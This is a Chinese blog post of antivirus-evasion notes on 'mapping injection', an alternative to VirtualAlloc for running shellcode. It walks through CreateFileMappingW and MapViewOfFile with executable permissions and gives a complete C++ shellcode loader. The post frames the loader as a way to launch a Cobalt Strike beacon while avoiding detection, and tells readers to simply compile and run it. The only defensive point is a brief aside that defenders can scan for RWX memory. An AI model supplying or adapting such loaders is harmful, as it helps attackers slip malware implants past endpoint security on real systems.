免杀笔记 ---->映射注入

不知不觉又鸽了一段时间了,今天我们来讲一下映射注入

1.为什么要映射注入??

我们平时直接通过VirtualAlloc申请的一块RWX内存,在Windows的内存中,其实是属于一块私有的可读可写可执行的内存!杀软会重点监控(你HW排查的时也可以去扫一下这种内存)

怎么解决呢?(其实看他HOOK什么)

  1. 动态调用,规避使用VirtualAlloc
  2. 使用NTDLL中的函数  NTAllocateVirtualMemroy ,这种更底层的API
  3. 映射注入,不用VirtualAlloc !!
  4.  .......

2.什么是映射注入

在了解映射注入之前,我们先来了解一下映射内存  

内存映射(Memory Mapping)是一种将文件内容映射到进程的虚拟地址空间的技术。在这种机制下,文件可以被视为内存的一部分,从而允许程序直接对这部分内存进行读写操作,而无需传统的文件 I/O 调用。这种方法不仅简化了文件操作,还提高了处理效率。

这里,我们讲本地映射注入,大致步骤如下

  1. 创建文件映射的对象
  2. 用指针接受文件映射的虚拟地址
  3. 将我们的shellcode拷贝到这个虚拟地址
  4. 创建线程或者指针调用

3.用到的一些API

1.CreateFileMappingW

CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sizeof(calc), NULL)
  • 此API会返回一个文件的对象
  • 其中的第一个参数就是我们要打开的文件,但是我们不需要打开文件,所以我们写INVALID_HANDLE_VALUE
  • 第三个参数指定内存的保护级别,我们写PAGE_EXECUTE_READWRITE 
  • 第五个就是我们的ShellCode的大小了

2.MapViewOfFile

这个感觉和VirtualAlloc有点像的

 MapViewOfFile(hFile, FILE_MAP_WRITE | FILE_MAP_EXECUTE, NULL, NULL, sizeof(calc));
  • 此API会返回一个映射地址
  • 第一个参数就是我们刚才获得的文件对象
  • 第二个由于我们只需要写和执行,所以我们写 FILE_MAP_WRITE | FILE_MAP_EXECUTE
  • 最后一个参数就是我们shellcode的长度了

3.Memcpy

这个就不说了,前面说过了,都是老朋友了!

4.本地映射注入上线CS

首先我们去生成一段ShellCode

然后我们写出以下的一个简单本地映射注入的代码(自行加上判断条件)

#include<iostream>
#include<Windows.h>
using namespace std;

unsigned char buf[] = "你的shellcode";

PVOID MappingInject()
{
	HANDLE   hFile    = INVALID_HANDLE_VALUE;
	LPVOID    pAddress = NULL;
	//创建映射对象
	hFile    = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sizeof(buf), NULL);
	
	//分配虚拟映射内存
	pAddress = MapViewOfFile(hFile, FILE_MAP_WRITE | FILE_MAP_EXECUTE, NULL, NULL, sizeof(buf));

	//拷贝calc的内存到这块虚拟映射内存
	memcpy(pAddress, buf, sizeof(buf));

	return pAddress;
}


int main()
{
	PVOID pAddress = MappingInject();
	((void(*)())pAddress)();
}

然后我们直接编译运行即可

这样相比起一些什么远程注入,劫持,似乎并没有杀的这么厉害,也可以完美的规避VirtualAlloc这个函数!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值